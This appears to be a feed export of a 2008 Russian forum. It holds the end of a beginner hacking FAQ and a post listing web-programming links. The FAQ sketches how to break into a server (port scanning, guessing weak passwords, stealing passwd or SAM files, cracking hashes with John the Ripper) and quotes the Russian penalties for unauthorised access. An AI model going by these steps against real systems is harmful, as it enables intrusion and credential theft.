творческая и в общем случае не решаемая, это не голых баб качать. Начать следует, как и любое другое дело, со сбора информации. Определить версию OS, тип сервера, поискать дыры в CGI-скриптах, просканировать порты на предмет уязвимых сервисов. Попытаться подобрать слабые пароли к shell, ftp, pop3. В случае *nix попытаться стянуть passwd, в случае - windows sam._. через ftp или дыры в скриптах. А дальше нужно читать bugtraq, securityfocus и искать дырку. Но раз ты читаешь этот faq, то ты там мало чего поймешь. Изучай какой-нибудь язык программирования, например, С, принципы работы сети, протоколы, операционные системы...</p> <p><strong>12. У меня есть passwd, что с ним делать?</strong><br />Сначала нужно посмотреть настоящий действительно ли там есть пароли. Если строчки выглядят примерно так: lpeery:*:276:15:Larry Peery:/usr/email/users/lpeery:/bin/csh ,то все пароли содержатся в файле shadow и ты их никогда не увидишь. А если так: lpeery:YIJkAzKSxkz4M:276:15:Larry Peery:/usr/email/users/lpeery:/bin/csh ,то файл надо попытаться расшифровать с помощью программ типа John the Ripper.</p> <p><strong>13. Что мне за это будет?</strong><br />Если сделаешь что-то серьезное и дело дойдет до суда, то:<br />Статья 272 УК РФ. Неправомерный доступ к компьютерной информации.<br /><span style="font-style: italic">1</span>. Неправомерный доступ к охраняемой законом компьютерной информации, то есть информации на машинном носителе, в электронно-вычислительной машине (ЭВМ),<br />системе ЭВМ или их сети, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети, - наказывается штрафом в размере от двухсот до пятисот минимальных<br />размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев, либо исправительными работами на срок от шести месяцев до одного года, либо лишением свободы на срок до двух лет.<br /><span style="font-style: italic">2</span>. То же деяние, совершенное группой лиц по предварительному сговору или организованной группой, либо лицом с использованием своего служебного положения,а равно имеющим доступ к ЭВМ, системе ЭВМ или их сети, - наказывается штрафом в размере от пятисот до восьмисот минимальных размеров оплаты труда или в размерезаработной платы, или иного дохода осужденного за период от пяти до восьми месяцев, либо исправительными работами на срок от одного года до двух лет, либо арестом на срок от трех до шести месяцев, либо лишением свободы на срок до пяти лет. </p> <p>Выдрал из своего компа :D</p> mybb@mybb.ru (admin) Sat, 25 Oct 2008 03:12:35 +0400 http://dinamit.mybb.forum/viewtopic.php?pid=16#p16 http://dinamit.mybb.forum/viewtopic.php?pid=14#p14 <p><a href="http://woweb.ru/" rel="nofollow" target="_blank">http://woweb.ru/</a><br /><a href="http://webart.user.kz" rel="nofollow" target="_blank">http://webart.user.kz</a><br /><a href="http://www.webtag.ru/" rel="nofollow" target="_blank">http://www.webtag.ru/</a><br /><a href="http://www.vanta.ru/" rel="nofollow" target="_blank">http://www.vanta.ru/</a>&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;<br /><a href="http://softtime.ru" rel="nofollow" target="_blank">http://softtime.ru</a>&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; </p> <p>Выкладываем хорошие ссылки для веб-программирования :rolleyes:</p> mybb@mybb.ru (admin) Sat, 25 Oct 2008 02:59:22 +0400 http://dinamit.mybb.forum/viewtopic.php?pid=14#p14